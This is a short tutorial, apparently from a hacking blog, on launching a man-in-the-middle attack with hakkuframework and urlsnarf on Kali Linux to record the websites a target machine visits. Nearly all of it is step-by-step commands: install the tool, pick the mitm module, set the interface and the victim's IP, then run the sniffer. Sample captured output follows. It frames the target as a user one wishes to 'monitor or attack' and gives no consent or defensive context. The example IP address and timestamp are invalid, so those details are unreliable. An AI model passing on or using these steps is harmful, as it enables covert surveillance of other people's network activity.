Urlsnarf – Tool for website link capturing MITM attack using hakkuframework

Hakku installation

In this Article we are going to learn how to launch a MITM attack using hakkuframework

Step 1: Start installing hakkuframework in kali if it is not present.

Open terminal and follow the below steps carefully

root@kali: cd Desktop
root@kali: ~/Desktop# git clone https://github.com/4shadoww/hakkuframework
root@kali: ~/Desktop# cd hakkuframework
root@kali: ~/Desktop# ls
root@kali: ~/Desktop# ./hakku

Kali linux MITM attack

Step 2: Continue to the terminal and type

[hakku]: Show modules
[hakku]: use mitm
[hakku] (mitm): show options

Hakku installation

Step 3: Find the network id or ip address of target machine connected over network. Let’s say for an example if the target machine interface name as “kalilan0”

[hakku] (mitm): set interface kalilan0

It shows the interface => kalilan0, Now type

[hakku] (mitm): set target 198.168.0.708

Note* this is the actual target ip of the user you wish to monitor or attack.

Target => 198.168.0.708
[hakku] (mitm): set sniffer urlsnarf
Sniffer => urlsnarf
[hakku] (mitm): run

Step 4: It show the output as

urlsnarf: listening on kalilan0 [tcp port 80 or port 8080 or port 3128]

MITM

That’s it, now you can trace out whatever the website that the target machine access to it.

Let say if the target machine navigate to Google.com then it show the results as below on attacker machine
Kali – – [17/March/2019: 13:09:61 -0600] * GET https://google.com/ HTTP/1.1* – – *.* *Mozilla/5.0 […….
It continues until you wish to trace..
